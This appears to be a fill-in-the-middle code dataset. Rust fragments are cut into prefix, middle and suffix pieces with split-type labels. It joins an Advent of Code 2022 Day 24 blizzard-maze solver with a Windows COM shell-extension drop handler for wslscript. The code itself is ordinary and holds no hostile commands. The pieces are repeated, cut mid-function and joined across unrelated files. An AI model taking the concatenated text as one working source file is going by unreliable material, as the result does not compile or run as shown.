.map(|(rownum, row)| {
let rowdist = (rownum as i32 - start.1 as i32).abs();
row.iter()
.enumerate()
.filter(|(colnum, pos)| {
let coldist = (*colnum as i32 - start.0 as i32).abs();
coldist <= 1 // keep adjacent and current columns
&& coldist + rowdist <= 1 // exclude diagonal neighbors
&& !pos.wall // exclude walls
&& pos.blizzards.len() == 0 // exclude positions with blizzards
})
.map(|(colnum, _pos)| (colnum, rownum))
.collect::<Vec<Position>>()
})
.flatten()
.collect::<Vec<Position>>()
}
}
impl fmt::Display for Map {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(
f,
"\n{}",
self.grid
.iter()
.enumerate()
.map(|(rownum, row)| format!(
"{}\n",
row.iter()
.enumerate()
.map(|(colnum, pos)| {
let c = pos.to_char();
match (colnum, rownum) {
(colnum, rownum) if self.player.get() == (colnum, rownum) && c == '.' => '■', // current position
(colnum, rownum) if self.player.get() == (colnum, rownum) && c != '.' => 'E', // indicate error
(colnum, rownum) if self.exit == (colnum, rownum) && c == '.' => '✕', // exit
_ => c,
}
})
.collect::<String>()
))
.collect::<String>()
.trim_end()
)
}
}
fn main() {
env_logger::Builder::from_env(Env::default().default_filter_or("info"))
.format_timestamp(None)
.init();
let args = Args::parse();
let nways: usize = match args.part {
1 => 1, // start-exit
2 => 3, // start-exit-start-exit
part @ _ => panic!("Don't know how to run part {part}."),
};
// Read initial map.
let mut minute = 0;
let map = Map::from_file(&args.input);
debug!("\nMinute: {minute}\nMap:{map}");
// The way blizzards propagate, the maps will be periodic.
// The period will be the lowest common multiple of the map width and map height.
let nrows = map.grid.len();
let ncols = map.grid[0].len();
let period = (1..=(ncols * nrows))
.skip_while(|n| n % nrows != 0 || n % ncols != 0)
.next()
.unwrap();
// Compute all possible maps.
let mut maps = Vec::from([map]);
(1..period).for_each(|n| {
let map_prev = &maps[n - 1];
let map = map_prev.next_minute();
maps.push(map);
});
info!("Precomputed {} maps.", maps.len());
// Fully tracking all the possible paths until we reach the exit explodes.
// For this we only keep track of the possible positions at each minute.
//
// Unlike the implementation in day24.rs, here we don't truncate positions
// as soon as we reach the end of a crossing (way) in part 2.
// This is to cover the case where two different paths for the first
// crossing have times T_1 < S_1, but if we continue with the other
// crossings, it will be S_1 + S_2 + S_3 < T_1 + T_2 + T_3.
//
// In the end, it turned out that this didn't matter. But it is not clear
// if this is always the case, or it just happened to be that way for the
// inputs we tried.
let mut all_possible_positions = Vec::<Vec<Position>>::new();
let mut targets = Vec::<Position>::new();
for n in 0..nways {
all_possible_positions.push(Vec::<Position>::new());
targets.push(if n % 2 == 0 { maps[0].exit } else { maps[0].start });
}
all_possible_positions[0].push(maps[0].start);
let mut done = false;
while !done {
minute += 1;
let map = &maps[minute % period];
let npositions: usize = all_possible_positions.iter().map(|w| w.len()).sum();
info!("\nMinute: {minute}\nNumber of possible positions: {npositions}");
// Update positions for all ways.
all_possible_positions = all_possible_positions
.iter()
.enumerate()
.map(|(way, possible_positions)| {
let mut possible_positions = possible_positions
.iter()
.map(|position| map.available_moves(position))
.flatten()
.collect::<Vec<_>>();
// Keeping track of all possible position still isn't enough.
// We need to deduplicate the possible positions to keep things snappy.
// Duplication arises because it is possible to reach the same position
// through different paths in a set amount of time.
possible_positions.sort();
possible_positions.dedup();
// After deduplication, sort possible positions by Manhattan order to
// the exit. This makes the loop termination condition trivial.
let target = targets[way];
possible_positions.sort_by_key(|pos| {
let dx = (target.0 as i32 - pos.0 as i32).abs();
let dy = (target.1 as i32 - pos.1 as i32).abs();
dx + dy
});
if possible_positions.len() > 0 {
let closest = &possible_positions[0];
info!(
"Way: {way}, Positions: {}, Target: {target:?}, Closest position: {closest:?}",
possible_positions.len()
);
}
possible_positions
})
.collect::<Vec<_>>();
// Move positions that reached target to the next way.
let mut removed = Vec::<Position>::new();
for (way, possible_positions) in all_possible_positions.iter_mut().enumerate() {
// Move removed positions from previous way to the current one.
if removed.len() > 0 {
possible_positions.append(&mut removed);
}
// Repopulate removed.
let target = &targets[way];
removed.extend(possible_positions.drain_filter(|pos| pos == target));
// Done, but finish loop first.
if way == nways - 1 && removed.len() > 0 {
done = true;
continue;
}
}
}
info!("Exited after {minute} minutes.");
}
| {
let nblizzards = self.blizzards.len();
match (self, nblizzards) {
(MapPos { wall: true, .. }, _) => '#',
(MapPos { wall: false, .. }, 0) => '.',
(MapPos { wall: false, .. }, 1) => self.blizzards[0],
(MapPos { wall: false, .. }, 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9) => {
char::from_digit(nblizzards as u32, 10).unwrap()
}
_ => 'X',
}
} | identifier_body |
day24b.rs | #![feature(drain_filter)]
use clap::Parser;
use env_logger::Env;
use log::{debug, info};
use std::cell::Cell;
use std::fmt;
use std::fs::File;
use std::io::{BufRead, BufReader};
/// Advent of Code 2022, Day 24
#[derive(Parser, Debug)]
#[command(author, version, about, long_about = None)]
struct Args {
/// Input file to read
input: String,
/// Part of the puzzle to solve
#[arg(short, long, value_parser = clap::value_parser!(u32).range(1..=2))]
part: u32,
}
type MapGrid = Vec<Vec<MapPos>>;
type Position = (usize, usize);
struct MapPos {
blizzards: Vec<char>,
wall: bool,
}
struct Map {
grid: MapGrid,
start: Position,
exit: Position,
player: Cell<Position>, // only used for rendering
}
impl MapPos {
/// Convert a MapPosition to a char, for display purposes.
pub fn to_char(&self) -> char {
let nblizzards = self.blizzards.len();
match (self, nblizzards) {
(MapPos { wall: true, .. }, _) => '#',
(MapPos { wall: false, .. }, 0) => '.',
(MapPos { wall: false, .. }, 1) => self.blizzards[0],
(MapPos { wall: false, .. }, 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9) => {
char::from_digit(nblizzards as u32, 10).unwrap()
}
_ => 'X',
}
}
}
impl Map {
/// Create a new empty Map with the specified dimensions.
pub fn empty((nrows, ncols): (usize, usize)) -> Map {
let start = (1, 0);
let exit = (ncols - 2, nrows - 1);
Map {
grid: (0..nrows)
.map(|nrow| {
(0..ncols)
.map(|ncol| MapPos {
blizzards: Vec::new(),
wall: match (ncol, nrow) {
(ncol, nrow) if (ncol, nrow) == start => false,
(ncol, nrow) if (ncol, nrow) == exit => false,
(ncol, _) if (ncol == 0 || ncol == ncols - 1) => true,
(_, nrow) if (nrow == 0 || nrow == nrows - 1) => true,
_ => false,
},
})
.collect::<Vec<MapPos>>()
})
.collect::<MapGrid>(),
start: start,
exit: exit,
player: Cell::new(start),
}
}
/// Create a new empty map with the same dimensions and position as the reference map.
pub fn empty_from(map: &Map) -> Map {
let mut new_map = Map::empty((map.grid.len(), map.grid[0].len()));
new_map.start = map.start;
new_map.exit = map.exit;
new_map
}
/// Read a map from a file.
pub fn from_file(filename: &str) -> Map {
let grid = BufReader::new(File::open(filename).unwrap_or_else(|err| {
panic!("Error opening {filename}: {err:?}");
}))
.lines()
.map(|line| {
line.unwrap()
.chars()
.map(|c| match c.clone() {
'#' => MapPos {
blizzards: Vec::new(),
wall: true,
},
'.' => MapPos {
blizzards: Vec::new(),
wall: false,
},
'>' | '<' | '^' | 'v' => MapPos {
blizzards: Vec::from([c]),
wall: false,
},
_ => panic!("Unknown character encountered while reading map: {c:?}"),
})
.collect::<Vec<MapPos>>()
})
.collect::<MapGrid>();
let start = (1, 0);
let exit = (grid[0].len() - 2, grid.len() - 1);
Map {
grid: grid,
start: start,
exit: exit,
player: Cell::new(start),
}
}
/// Calculates the next blizzard position on the map.
pub fn next_blizzard_pos(&self, colnum: usize, rownum: usize, b: char) -> (usize, usize) {
let (mut colnum_next, mut rownum_next) = (colnum, rownum);
match b {
'>' => {
colnum_next += 1;
if self.grid[rownum_next][colnum_next].wall {
colnum_next = 1;
}
}
'<' => {
colnum_next -= 1;
if self.grid[rownum_next][colnum_next].wall {
colnum_next = self.grid[0].len() - 2;
}
}
'^' => {
rownum_next -= 1;
if self.grid[rownum_next][colnum_next].wall {
rownum_next = self.grid.len() - 2;
}
}
'v' => {
rownum_next += 1;
if self.grid[rownum_next][colnum_next].wall {
rownum_next = 1;
}
}
_ => panic!("Unknown blizzard type encountered in ({colnum}, {rownum}): {b:?}"),
}
(colnum_next, rownum_next)
}
/// Returns the map with the positions of the blizzards on the next minute.
pub fn next_minute(&self) -> Map {
let mut new_map = Map::empty_from(self);
// Populate empty map with blizzards.
self.grid.iter().enumerate().for_each(|(rownum, row)| {
row.iter()
.enumerate()
.filter(|(_colnum, pos)| pos.wall == false && pos.blizzards.len() > 0)
.for_each(|(colnum, pos)| {
pos.blizzards.iter().for_each(|b| {
let (colnum_next, rownum_next) = self.next_blizzard_pos(colnum, rownum, *b);
new_map.grid[rownum_next][colnum_next].blizzards.push(*b);
})
})
});
new_map
}
/// Returns the available positions to move on the map.
pub fn available_moves(&self, start: &Position) -> Vec<Position> {
self.grid
.iter()
.enumerate()
.filter(|(rownum, _row)| {
let rowdist = (*rownum as i32 - start.1 as i32).abs();
rowdist <= 1 // keep adjacent and curent rows
})
.map(|(rownum, row)| {
let rowdist = (rownum as i32 - start.1 as i32).abs();
row.iter()
.enumerate()
.filter(|(colnum, pos)| {
let coldist = (*colnum as i32 - start.0 as i32).abs();
coldist <= 1 // keep adjacent and current columns
&& coldist + rowdist <= 1 // exclude diagonal neighbors
&& !pos.wall // exclude walls
&& pos.blizzards.len() == 0 // exclude positions with blizzards
})
.map(|(colnum, _pos)| (colnum, rownum))
.collect::<Vec<Position>>()
})
.flatten()
.collect::<Vec<Position>>()
}
}
impl fmt::Display for Map {
fn | (&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(
f,
"\n{}",
self.grid
.iter()
.enumerate()
.map(|(rownum, row)| format!(
"{}\n",
row.iter()
.enumerate()
.map(|(colnum, pos)| {
let c = pos.to_char();
match (colnum, rownum) {
(colnum, rownum) if self.player.get() == (colnum, rownum) && c == '.' => '■', // current position
(colnum, rownum) if self.player.get() == (colnum, rownum) && c != '.' => 'E', // indicate error
(colnum, rownum) if self.exit == (colnum, rownum) && c == '.' => '✕', // exit
_ => c,
}
})
.collect::<String>()
))
.collect::<String>()
.trim_end()
)
}
}
fn main() {
env_logger::Builder::from_env(Env::default().default_filter_or("info"))
.format_timestamp(None)
.init();
let args = Args::parse();
let nways: usize = match args.part {
1 => 1, // start-exit
2 => 3, // start-exit-start-exit
part @ _ => panic!("Don't know how to run part {part}."),
};
// Read initial map.
let mut minute = 0;
let map = Map::from_file(&args.input);
debug!("\nMinute: {minute}\nMap:{map}");
// The way blizzards propagate, the maps will be periodic.
// The period will be the lowest common multiple of the map width and map height.
let nrows = map.grid.len();
let ncols = map.grid[0].len();
let period = (1..=(ncols * nrows))
.skip_while(|n| n % nrows != 0 || n % ncols != 0)
.next()
.unwrap();
// Compute all possible maps.
let mut maps = Vec::from([map]);
(1..period).for_each(|n| {
let map_prev = &maps[n - 1];
let map = map_prev.next_minute();
maps.push(map);
});
info!("Precomputed {} maps.", maps.len());
// Fully tracking all the possible paths until we reach the exit explodes.
// For this we only keep track of the possible positions at each minute.
//
// Unlike the implementation in day24.rs, here we don't truncate positions
// as soon as we reach the end of a crossing (way) in part 2.
// This is to cover the case where two different paths for the first
// crossing have times T_1 < S_1, but if we continue with the other
// crossings, it will be S_1 + S_2 + S_3 < T_1 + T_2 + T_3.
//
// In the end, it turned out that this didn't matter. But it is not clear
// if this is always the case, or it just happened to be that way for the
// inputs we tried.
let mut all_possible_positions = Vec::<Vec<Position>>::new();
let mut targets = Vec::<Position>::new();
for n in 0..nways {
all_possible_positions.push(Vec::<Position>::new());
targets.push(if n % 2 == 0 { maps[0].exit } else { maps[0].start });
}
all_possible_positions[0].push(maps[0].start);
let mut done = false;
while !done {
minute += 1;
let map = &maps[minute % period];
let npositions: usize = all_possible_positions.iter().map(|w| w.len()).sum();
info!("\nMinute: {minute}\nNumber of possible positions: {npositions}");
// Update positions for all ways.
all_possible_positions = all_possible_positions
.iter()
.enumerate()
.map(|(way, possible_positions)| {
let mut possible_positions = possible_positions
.iter()
.map(|position| map.available_moves(position))
.flatten()
.collect::<Vec<_>>();
// Keeping track of all possible position still isn't enough.
// We need to deduplicate the possible positions to keep things snappy.
// Duplication arises because it is possible to reach the same position
// through different paths in a set amount of time.
possible_positions.sort();
possible_positions.dedup();
// After deduplication, sort possible positions by Manhattan order to
// the exit. This makes the loop termination condition trivial.
let target = targets[way];
possible_positions.sort_by_key(|pos| {
let dx = (target.0 as i32 - pos.0 as i32).abs();
let dy = (target.1 as i32 - pos.1 as i32).abs();
dx + dy
});
if possible_positions.len() > 0 {
let closest = &possible_positions[0];
info!(
"Way: {way}, Positions: {}, Target: {target:?}, Closest position: {closest:?}",
possible_positions.len()
);
}
possible_positions
})
.collect::<Vec<_>>();
// Move positions that reached target to the next way.
let mut removed = Vec::<Position>::new();
for (way, possible_positions) in all_possible_positions.iter_mut().enumerate() {
// Move removed positions from previous way to the current one.
if removed.len() > 0 {
possible_positions.append(&mut removed);
}
// Repopulate removed.
let target = &targets[way];
removed.extend(possible_positions.drain_filter(|pos| pos == target));
// Done, but finish loop first.
if way == nways - 1 && removed.len() > 0 {
done = true;
continue;
}
}
}
info!("Exited after {minute} minutes.");
}
| fmt | identifier_name |
interface.rs | //! All the nitty gritty details regarding COM interface for the shell extension
//! are defined here.
//!
//! See: https://docs.microsoft.com/en-us/windows/win32/shell/handlers#implementing-shell-extension-handlers
use com::sys::HRESULT;
use guid_win::Guid;
use once_cell::sync::Lazy;
use std::cell::RefCell;
use std::path::PathBuf;
use std::str::FromStr;
use std::sync::atomic::{AtomicUsize, Ordering};
use widestring::WideCStr;
use winapi::shared::guiddef;
use winapi::shared::minwindef as win;
use winapi::shared::windef;
use winapi::shared::winerror;
use winapi::shared::wtypesbase;
use winapi::um::objidl;
use winapi::um::oleidl;
use winapi::um::winnt;
use winapi::um::winuser;
use wslscript_common::error::*;
use crate::progress::ProgressWindow;
/// IClassFactory GUID.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iclassfactory
///
/// Windows requests this interface via `DllGetClassObject` to further query
/// relevant COM interfaces. _com-rs_ crate implements IClassFactory automatically
/// for all interfaces (?), so we don't need to worry about details.
static CLASS_FACTORY_CLSID: Lazy<Guid> =
Lazy::new(|| Guid::from_str("00000001-0000-0000-c000-000000000046").unwrap());
/// Semaphore to keep track of running WSL threads.
///
/// DLL shall not be released if there are threads running.
pub(crate) static THREAD_COUNTER: AtomicUsize = AtomicUsize::new(0);
/// Handle to loaded DLL module.
static mut DLL_HANDLE: win::HINSTANCE = std::ptr::null_mut();
/// DLL module entry point.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/dlls/dllmain
#[no_mangle]
extern "system" fn DllMain(
hinstance: win::HINSTANCE,
reason: win::DWORD,
_reserved: win::LPVOID,
) -> win::BOOL {
match reason {
winnt::DLL_PROCESS_ATTACH => {
// store module instance to global variable
unsafe { DLL_HANDLE = hinstance };
// set up logging
#[cfg(feature = "debug")]
if let Ok(mut path) = get_module_path(hinstance) {
let stem = path.file_stem().map_or_else(
|| "debug.log".to_string(),
|s| s.to_string_lossy().into_owned(),
);
path.pop();
path.push(format!("{}.log", stem));
if simple_logging::log_to_file(&path, log::LevelFilter::Debug).is_err() {
unsafe {
use winapi::um::winuser::*;
let text = wslscript_common::wcstring(format!(
"Failed to set up logging to {}",
path.to_string_lossy()
));
MessageBoxW(
std::ptr::null_mut(),
text.as_ptr(),
wchar::wchz!("Error").as_ptr(),
MB_OK | MB_ICONERROR | MB_SERVICE_NOTIFICATION,
);
}
}
}
log::debug!("DLL_PROCESS_ATTACH");
return win::TRUE;
}
winnt::DLL_PROCESS_DETACH => {
log::debug!("DLL_PROCESS_DETACH");
ProgressWindow::unregister_window_class();
}
winnt::DLL_THREAD_ATTACH => {}
winnt::DLL_THREAD_DETACH => {}
_ => {}
}
win::FALSE
}
/// Called to check whether DLL can be unloaded from memory.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllcanunloadnow
#[no_mangle]
extern "system" fn DllCanUnloadNow() -> HRESULT {
let n = THREAD_COUNTER.load(Ordering::SeqCst);
if n > 0 {
log::info!("{} WSL threads running, denying DLL unload", n);
winerror::S_FALSE
} else {
log::info!("Permitting DLL unload");
winerror::S_OK
}
}
/// Exposes class factory.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllgetclassobject
#[no_mangle]
extern "system" fn DllGetClassObject(
class_id: guiddef::REFCLSID,
iid: guiddef::REFIID,
result: *mut win::LPVOID,
) -> HRESULT {
let class_guid = guid_from_ref(class_id);
let interface_guid = guid_from_ref(iid);
// expect our registered class ID
if wslscript_common::DROP_HANDLER_CLSID.eq(&class_guid) {
// expect IClassFactory interface to be requested
if !CLASS_FACTORY_CLSID.eq(&interface_guid) {
log::warn!("Expected IClassFactory, got {}", interface_guid);
}
use com::production::Class as COMClass;
let cls = <Handler as COMClass>::Factory::allocate();
let rv = unsafe { cls.QueryInterface(iid as _, result as _) };
log::debug!(
"QueryInterface for {} returned {}, address={:p}",
interface_guid,
rv,
result
);
return rv;
} else {
log::warn!("Unsupported class: {}", class_guid); | }
winerror::CLASS_E_CLASSNOTAVAILABLE
}
/// Add in-process server keys into registry.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/olectl/nf-olectl-dllregisterserver
#[no_mangle]
extern "system" fn DllRegisterServer() -> HRESULT {
let hinstance = unsafe { DLL_HANDLE };
let path = match get_module_path(hinstance) {
Ok(p) => p,
Err(_) => return winerror::E_UNEXPECTED,
};
log::debug!("DllRegisterServer for {}", path.to_string_lossy());
match wslscript_common::registry::add_server_to_registry(&path) {
Ok(_) => (),
Err(e) => {
log::error!("Failed to register server: {}", e);
return winerror::E_UNEXPECTED;
}
}
winerror::S_OK
}
/// Remove in-process server keys from registry.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/olectl/nf-olectl-dllunregisterserver
#[no_mangle]
extern "system" fn DllUnregisterServer() -> HRESULT {
match wslscript_common::registry::remove_server_from_registry() {
Ok(_) => (),
Err(e) => {
log::error!("Failed to unregister server: {}", e);
return winerror::E_UNEXPECTED;
}
}
winerror::S_OK
}
/// Convert Win32 GUID pointer to Guid struct.
const fn guid_from_ref(clsid: *const guiddef::GUID) -> Guid {
Guid {
0: unsafe { *clsid },
}
}
/// Get path to loaded DLL file.
fn get_module_path(hinstance: win::HINSTANCE) -> Result<PathBuf, Error> {
use std::ffi::OsString;
use std::os::windows::ffi::OsStringExt;
use winapi::shared::ntdef;
use winapi::um::libloaderapi::GetModuleFileNameW as GetModuleFileName;
let mut buf: Vec<ntdef::WCHAR> = Vec::with_capacity(win::MAX_PATH);
let len = unsafe { GetModuleFileName(hinstance, buf.as_mut_ptr(), buf.capacity() as _) };
if len == 0 {
return Err(wslscript_common::win32::last_error());
}
unsafe { buf.set_len(len as _) };
Ok(PathBuf::from(OsString::from_wide(&buf)))
}
bitflags::bitflags! {
/// Key state flags.
#[derive(Debug)]
pub struct KeyState: win::DWORD {
const MK_CONTROL = winuser::MK_CONTROL as win::DWORD;
const MK_SHIFT = winuser::MK_SHIFT as win::DWORD;
const MK_ALT = oleidl::MK_ALT as win::DWORD;
const MK_LBUTTON = winuser::MK_LBUTTON as win::DWORD;
const MK_MBUTTON = winuser::MK_MBUTTON as win::DWORD;
const MK_RBUTTON = winuser::MK_RBUTTON as win::DWORD;
}
}
// COM interface declarations.
//
// Note that methods must be in exact order!
//
// See https://www.magnumdb.com/ for interface GUID's.
// See https://docs.microsoft.com/en-us/windows/win32/shell/handlers for
// required interfaces.
com::interfaces! {
// NOTE: class! macro generates IClassFactory interface automatically,
// so we must directly inherit from IUnknown.
#[uuid("81521ebe-a2d4-450b-9bf8-5c23ed8730d0")]
pub unsafe interface IHandler : com::interfaces::IUnknown {}
#[uuid("0000010b-0000-0000-c000-000000000046")]
pub unsafe interface IPersistFile : IPersist {
fn IsDirty(&self) -> HRESULT;
fn Load(
&self,
pszFileName: wtypesbase::LPCOLESTR,
dwMode: win::DWORD,
) -> HRESULT;
fn Save(
&self,
pszFileName: wtypesbase::LPCOLESTR,
fRemember: win::BOOL,
) -> HRESULT;
fn SaveCompleted(
&self,
pszFileName: wtypesbase::LPCOLESTR,
) -> HRESULT;
fn GetCurFile(
&self,
ppszFileName: *mut wtypesbase::LPOLESTR,
) -> HRESULT;
}
#[uuid("0000010c-0000-0000-c000-000000000046")]
pub unsafe interface IPersist : com::interfaces::IUnknown {
fn GetClassID(
&self,
pClassID: *mut guiddef::CLSID,
) -> HRESULT;
}
#[uuid("00000122-0000-0000-c000-000000000046")]
pub unsafe interface IDropTarget: com::interfaces::IUnknown {
fn DragEnter(
&self,
pDataObj: *const objidl::IDataObject,
grfKeyState: win::DWORD,
pt: *const windef::POINTL,
pdwEffect: *mut win::DWORD,
) -> HRESULT;
fn DragOver(
&self,
grfKeyState: win::DWORD,
pt: *const windef::POINTL,
pdwEffect: *mut win::DWORD,
) -> HRESULT;
fn DragLeave(&self) -> HRESULT;
fn Drop(
&self,
pDataObj: *const objidl::IDataObject,
grfKeyState: win::DWORD,
pt: *const windef::POINTL,
pdwEffect: *mut win::DWORD,
) -> HRESULT;
}
}
com::class! {
pub class Handler: IHandler, IPersistFile(IPersist), IDropTarget {
// File that is receiving the drop.
target: RefCell<PathBuf>
}
impl IHandler for Handler {
}
// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ipersistfile
impl IPersistFile for Handler {
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-isdirty
fn IsDirty(&self) -> HRESULT {
log::debug!("IPersistFile::IsDirty");
winerror::S_FALSE
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-load
fn Load(
&self,
pszFileName: wtypesbase::LPCOLESTR,
_dwMode: win::DWORD,
) -> HRESULT {
// path to the file that is being dragged over, ie. the registered script file
let filename = unsafe { WideCStr::from_ptr_str(pszFileName) };
let path = PathBuf::from(filename.to_os_string());
log::debug!("IPersistFile::Load {}", path.to_string_lossy());
if let Ok(mut target) = self.target.try_borrow_mut() {
*target = path;
} else {
return winerror::E_FAIL;
}
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-save
fn Save(
&self,
_pszFileName: wtypesbase::LPCOLESTR,
_fRemember: win::BOOL,
) -> HRESULT {
log::debug!("IPersistFile::Save");
winerror::S_FALSE
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-savecompleted
fn SaveCompleted(
&self,
_pszFileName: wtypesbase::LPCOLESTR,
) -> HRESULT {
log::debug!("IPersistFile::SaveCompleted");
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-getcurfile
fn GetCurFile(
&self,
_ppszFileName: *mut wtypesbase::LPOLESTR,
) -> HRESULT {
log::debug!("IPersistFile::GetCurFile");
winerror::E_FAIL
}
}
// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ipersist
impl IPersist for Handler {
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersist-getclassid
fn GetClassID(
&self,
pClassID: *mut guiddef::CLSID,
) -> HRESULT {
log::debug!("IPersist::GetClassID");
let guid = wslscript_common::DROP_HANDLER_CLSID.0;
unsafe { *pClassID = guid }
winerror::S_OK
}
}
// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nn-oleidl-idroptarget
impl IDropTarget for Handler {
/// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nf-oleidl-idroptarget-dragenter
fn DragEnter(
&self,
_pDataObj: *const objidl::IDataObject,
_grfKeyState: win::DWORD,
_pt: *const windef::POINTL,
_pdwEffect: *mut win::DWORD,
) -> HRESULT {
log::debug!("IDropTarget::DragEnter");
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nf-oleidl-idroptarget-dragover
fn DragOver(
&self,
_grfKeyState: win::DWORD,
_pt: *const windef::POINTL,
_pdwEffect: *mut win::DWORD,
) -> HRESULT {
log::debug!("IDropTarget::DragOver");
log::debug!("Keys {:?}", KeyState::from_bits_truncate(_grfKeyState));
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nf-oleidl-idroptarget-dragleave
fn DragLeave(&self) -> HRESULT {
log::debug!("IDropTarget::DragLeave");
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nf-oleidl-idroptarget-drop
fn Drop(
&self,
pDataObj: *const objidl::IDataObject,
grfKeyState: win::DWORD,
_pt: *const windef::POINTL,
pdwEffect: *mut win::DWORD,
) -> HRESULT {
log::debug!("IDropTarget::Drop");
let target = if let Ok(target) = self.target.try_borrow() {
target.clone()
} else {
return winerror::E_UNEXPECTED;
};
let obj = unsafe { &*pDataObj };
let keys = KeyState::from_bits_truncate(grfKeyState);
super::handle_dropped_files(&target, obj, keys).and_then(|_| {
unsafe { *pdwEffect = oleidl::DROPEFFECT_COPY; }
Ok(winerror::S_OK)
}).unwrap_or_else(|e| {
log::debug!("Drop failed: {}", e);
winerror::E_UNEXPECTED
})
}
}
} | random_line_split | |
interface.rs | //! All the nitty gritty details regarding COM interface for the shell extension
//! are defined here.
//!
//! See: https://docs.microsoft.com/en-us/windows/win32/shell/handlers#implementing-shell-extension-handlers
use com::sys::HRESULT;
use guid_win::Guid;
use once_cell::sync::Lazy;
use std::cell::RefCell;
use std::path::PathBuf;
use std::str::FromStr;
use std::sync::atomic::{AtomicUsize, Ordering};
use widestring::WideCStr;
use winapi::shared::guiddef;
use winapi::shared::minwindef as win;
use winapi::shared::windef;
use winapi::shared::winerror;
use winapi::shared::wtypesbase;
use winapi::um::objidl;
use winapi::um::oleidl;
use winapi::um::winnt;
use winapi::um::winuser;
use wslscript_common::error::*;
use crate::progress::ProgressWindow;
/// IClassFactory GUID.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iclassfactory
///
/// Windows requests this interface via `DllGetClassObject` to further query
/// relevant COM interfaces. _com-rs_ crate implements IClassFactory automatically
/// for all interfaces (?), so we don't need to worry about details.
static CLASS_FACTORY_CLSID: Lazy<Guid> =
Lazy::new(|| Guid::from_str("00000001-0000-0000-c000-000000000046").unwrap());
/// Semaphore to keep track of running WSL threads.
///
/// DLL shall not be released if there are threads running.
pub(crate) static THREAD_COUNTER: AtomicUsize = AtomicUsize::new(0);
/// Handle to loaded DLL module.
static mut DLL_HANDLE: win::HINSTANCE = std::ptr::null_mut();
/// DLL module entry point.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/dlls/dllmain
#[no_mangle]
extern "system" fn DllMain(
hinstance: win::HINSTANCE,
reason: win::DWORD,
_reserved: win::LPVOID,
) -> win::BOOL {
match reason {
winnt::DLL_PROCESS_ATTACH => {
// store module instance to global variable
unsafe { DLL_HANDLE = hinstance };
// set up logging
#[cfg(feature = "debug")]
if let Ok(mut path) = get_module_path(hinstance) {
let stem = path.file_stem().map_or_else(
|| "debug.log".to_string(),
|s| s.to_string_lossy().into_owned(),
);
path.pop();
path.push(format!("{}.log", stem));
if simple_logging::log_to_file(&path, log::LevelFilter::Debug).is_err() {
unsafe {
use winapi::um::winuser::*;
let text = wslscript_common::wcstring(format!(
"Failed to set up logging to {}",
path.to_string_lossy()
));
MessageBoxW(
std::ptr::null_mut(),
text.as_ptr(),
wchar::wchz!("Error").as_ptr(),
MB_OK | MB_ICONERROR | MB_SERVICE_NOTIFICATION,
);
}
}
}
log::debug!("DLL_PROCESS_ATTACH");
return win::TRUE;
}
winnt::DLL_PROCESS_DETACH => {
log::debug!("DLL_PROCESS_DETACH");
ProgressWindow::unregister_window_class();
}
winnt::DLL_THREAD_ATTACH => {}
winnt::DLL_THREAD_DETACH => {}
_ => {}
}
win::FALSE
}
/// Called to check whether DLL can be unloaded from memory.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllcanunloadnow
#[no_mangle]
extern "system" fn DllCanUnloadNow() -> HRESULT {
let n = THREAD_COUNTER.load(Ordering::SeqCst);
if n > 0 {
log::info!("{} WSL threads running, denying DLL unload", n);
winerror::S_FALSE
} else {
log::info!("Permitting DLL unload");
winerror::S_OK
}
}
/// Exposes class factory.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllgetclassobject
#[no_mangle]
extern "system" fn DllGetClassObject(
class_id: guiddef::REFCLSID,
iid: guiddef::REFIID,
result: *mut win::LPVOID,
) -> HRESULT {
let class_guid = guid_from_ref(class_id);
let interface_guid = guid_from_ref(iid);
// expect our registered class ID
if wslscript_common::DROP_HANDLER_CLSID.eq(&class_guid) {
// expect IClassFactory interface to be requested
if !CLASS_FACTORY_CLSID.eq(&interface_guid) {
log::warn!("Expected IClassFactory, got {}", interface_guid);
}
use com::production::Class as COMClass;
let cls = <Handler as COMClass>::Factory::allocate();
let rv = unsafe { cls.QueryInterface(iid as _, result as _) };
log::debug!(
"QueryInterface for {} returned {}, address={:p}",
interface_guid,
rv,
result
);
return rv;
} else |
winerror::CLASS_E_CLASSNOTAVAILABLE
}
/// Add in-process server keys into registry.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/olectl/nf-olectl-dllregisterserver
#[no_mangle]
extern "system" fn DllRegisterServer() -> HRESULT {
let hinstance = unsafe { DLL_HANDLE };
let path = match get_module_path(hinstance) {
Ok(p) => p,
Err(_) => return winerror::E_UNEXPECTED,
};
log::debug!("DllRegisterServer for {}", path.to_string_lossy());
